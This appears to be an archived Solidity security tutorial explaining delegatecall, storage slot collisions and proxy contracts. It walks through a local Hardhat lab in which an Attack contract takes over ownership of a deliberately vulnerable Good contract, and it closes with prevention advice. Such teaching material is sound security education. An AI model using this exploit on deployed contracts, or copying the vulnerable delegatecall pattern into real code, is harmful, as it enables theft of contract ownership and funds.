Skip to content
This repository has been archived by the owner on Jun 29, 2023. It is now read-only.

Latest commit

 

History

History
278 lines (185 loc) · 13.7 KB

L6-Delegate-Call.md

File metadata and controls

278 lines (185 loc) · 13.7 KB

🐙 Running code from other contracts inside your own through .delegatecall(...)

.delegatecall() is a method in Solidity used to call a function in a target contract from an original contract. However, unlike other methods, when the function is executed in the target contract using .delegatecall(), the context is passed from the original contract i.e. the code executes in the target contract, but variables get modified in the original contract.

Through this tutorial, we will learn why its important to correctly understand how .delegatecall() works or else it can have some severe consequences.


😕 Wait, what?

Let's start by understanding how this works.

The important thing to note when using .delegatecall() is that the context the original contract is passed to the target, and all state changes in the target contract reflect on the original contract's state and not on the target contract's state even though the function is being executed on the target contract.

Let's try understanding with the help of an example.

In Ethereum, a function can be represented as 4 + 32*N bytes where 4 bytes are for the function selector and the 32*N bytes are for function arguments.

  • Function Selector: To get the function selector, we hash the function's name along with the type of its arguments without the empty space eg. for something like putValue(uint value), you will hash putValue(uint) using keccak-256 which is a hashing function used by Ethereum and then take its first 4 bytes. To understand keccak-256 and hashing better, I suggest you watch this video
  • Function Argument: Convert each argument into a hex string with a fixed length of 32 bytes and concatenate them.

We have two contracts Student.sol and Calculator.sol. We don't know the ABI of Calculator.sol but we know that their exists an add function which takes in two uint's and adds them up within the Calculator.sol

Let's see how we can use delegateCall to call this function from Student.sol

pragma solidity ^0.8.4;

contract Student {

    uint public mySum;
    address public studentAddress;

    function addTwoNumbers(address calculator, uint a, uint b) public returns (uint)  {
        (bool success, bytes memory result) = calculator.delegatecall(abi.encodeWithSignature("add(uint256,uint256)", a, b));
        require(success, "The call to calculator contract failed");
        return abi.decode(result, (uint));
    }
}
pragma solidity ^0.8.4;

contract Calculator {
    uint public result;
    address public user;

    function add(uint a, uint b) public returns (uint) {
        result = a + b;
        user = msg.sender;
        return result;
    }
}

Our Student contract here has a function addTwoNumbers which takes an address, and two numbers to add together. Instead of executing it directly, it tries to do a .delegatecall() on the address for a function add which takes two numbers.

We used abi.encodeWithSignature, also the same as abi.encodeWithSelector, which first hashes and then takes the first 4 bytes out of the function's name and type of arguments. In our case it did the following: (bytes4(keccak256(add(uint,uint)) and then appends the parameters - a, b to the 4 bytes of the function selector. These are 32 bytes long each (32 bytes = 256 bits, which is what uint256 can store).

All this when concatenated is passed into the delegatecall method which is called upon the address of the calculator contract.

The actual addition part is not that interesting, what's interesting is that the Calculator contract actually sets some state variables. But remember when the values are getting assigned in Calculator contract, they are actually getting assigned to the storage of the Student contract because deletgatecall uses the storage of the original contract when executing the function in the target contract. So what exactly will happen is as follows:

You know from the previous lessons that each variable slot in solidity is of 32 bytes which is 256 bits. And when we used .delegatecall() from Student to Calculator we used the storage of Student and not of Calculator but the problem is that even though we are using the storage of Student, the slot numbers are based on the calculator contract and in this case when you assign a value to result in the add function of Calculator.sol, you are actually assigning the value to mySum which in the student contract.

This can be problematic, because storage slots can have variables of different data types. What if the Student contract instead had values defined in this order?

contract Student {
    address public studentAddress;
    uint public mySum;
}

In this case, the address variable would actually end up becoming the value of result. You may be thinking how can an address data type contain the value of a uint? To answer that, you have to think a little lower-level. At the end of the day, all data types are just bytes. address and uint are both 32 byte data types, and so the uint value for result can be set in the address public studentAddress variable as they're both still 32 bytes of data.

Actual Use Cases

.delegatecall() is heavily used within proxy (upgradeable) contracts. Since smart contracts are not upgradeable by default, the way to make them upgradeable is typically by having one storage contract which does not change, which contains an address for an implementation contract. If you wanted to update your contract code, you change the address of the implementation contract to something new. The storage contract makes all calls using .delegatecall() which allows to run different versions of the code while maintaining the same persisted storage over time, no matter how many implementation contracts you change. Therefore, the logic can change, but the data is never fragmented.

Attack using delegatecall

But, since .delegatecall() modifies the storage of the contract calling the function, there are some nasty attacks that can be designed if .delegatecall() is not properly implemented. We will now simulate an attack using .delegatecall().

⚒️ Build

Overview

  • We will have three smart contracts Attack.sol, Good.sol and Helper.sol
  • Hacker will be able to use Attack.sol to change the owner of Good.sol using .delegatecall()

Setup

Let's build an example where you can experience how the attack happens. Start by creating a new project directory.

mkdir delegate-call

Let's now setup Hardhat inside the delegate-call directory.

cd delegate-call
npm init --yes
npm install --save-dev hardhat @nomicfoundation/hardhat-toolbox
npx hardhat

when prompted, choose the Create a Javascript Project option and follow the steps.

Writing the Smart Contracts

Let's start off by creating an innocent looking contract - Good.sol. It will contain the address of the Helper contract, and a variable called owner. The function setNum will do a delegatecall() to the Helper contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract Good {
    address public helper;
    address public owner;
    uint public num;

    constructor(address _helper) {
        helper = _helper;
        owner = msg.sender;
    }

    function setNum( uint _num) public {
        helper.delegatecall(abi.encodeWithSignature("setNum(uint256)", _num));
    }
}

After creating Good.sol, we will create the Helper contract inside the contracts directory named Helper.sol. This is a simple contract which updates the value of num through the setNum function. Since it only has one variable, the variable will always point to Slot 0. When used with delegatecall, it will modify the value at Slot 0 of the original contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract Helper {
    uint public num;

    function setNum(uint _num) public {
        num = _num;
    }
}

Now create a contract named Attack.sol within the contracts directory and write the following lines of code. We will understand how it works step by step.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "./Good.sol";

contract Attack {
    address public helper;
    address public owner;
    uint256 public num;

    Good public good;

    constructor(Good _good) {
        good = Good(_good);
    }

    function setNum(uint256 _num) public {
        owner = msg.sender;
    }

    function attack() public {
        // This is the way you typecast an address to a uint
        good.setNum(uint256(uint160(address(this))));
        good.setNum(1);
    }
}

The attacker will first deploy the Attack.sol contract and will take the address of a Good contract in the constructor. He will then call the attack function which will further initially call the setNum function present inside Good.sol

Interesting point to note is the argument with which the setNum is initially called, its an address typecasted into a uint256, which is it's own address. After setNum function within the Good.sol contract receives the address as a uint, it further does a delegatecall to the Helper contract because right now the helper variable is set to the address of the Helper contract.

Within the Helper contract when the setNum is executed, it sets the _num which in our case right now is the address of Attack.sol typecasted into a uint into num. Note that because num is located at Slot 0 of Helper contract, it will actually assign the address of Attack.sol to Slot 0 of Good.sol. Woops... You may see where this is going. Slot 0 of Good is the helper variable, which means, the attacker has successfully been able to update the helper address variable to it's own contract now.

Now the address of the helper contract has been overwritten by the address of Attack.sol. The next thing that gets executed in the attack function within Attack.sol is another setNum but with number 1. The number 1 plays no relevance here, and could've been set to anything.

Now when setNum gets called within Good.sol it will delegate the call to Attack.sol because the address of helper contract has been overwritten.

The setNum within Attack.sol gets executed which sets the owner to msg.sender which in this case is Attack.sol itself because it was the original caller of the delegatecall and because owner is at Slot 1 of Attack.sol, the Slot 1 of Good.sol will be overwritten which is its owner.

Boom the attacker was able to change the owner of Good.sol 👀 🔥

Writing the Test

Let's try actually executing this attack using code. We will utilize Hardhat Tests to demonstrate the functionality.

Inside the test folder create a new file named attack.js and add the following lines of code

const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("delegatecall Attack", function () {
  it("Should change the owner of the Good contract", async function () {
    // Deploy the helper contract
    const Helper = await ethers.getContractFactory("Helper");
    const helperContract = await Helper.deploy();
    await helperContract.deployed();
    console.log("Helper Contract's Address:", helperContract.address);

    // Deploy the good contract
    const Good = await ethers.getContractFactory("Good");
    const goodContract = await Good.deploy(helperContract.address);
    await goodContract.deployed();
    console.log("Good Contract's Address:", goodContract.address);

    // Deploy the Attack contract
    const Attack = await ethers.getContractFactory("Attack");
    const attackContract = await Attack.deploy(goodContract.address);
    await attackContract.deployed();
    console.log("Attack Contract's Address", attackContract.address);

    // Now let's attack the good contract

    // Start the attack
    let tx = await attackContract.attack();
    await tx.wait();

    expect(await goodContract.owner()).to.equal(attackContract.address);
  });
});

To execute the test to verify that the owner of Good contract was indeed changes, in your terminal pointing to the directory which contains all your code for this level execute the following command

npx hardhat test

If your tests are passing the owner address of good contract was indeed changed, since we equate the value of the owner variable in Good to the address of the Attack contract at the end of the test.

👮 Prevention

Use stateless library contracts which means that the contracts to which you delegate the call should only be used for execution of logic and should not maintain state. This way, it is not possible for functions in the library to modify the state of the calling contract.

References

👋 Conclusion

Hope you learnt something from this level. If you have any questions or feel stuck or just want to say Hi, hit us up on our Discord. We look forward to seeing you there!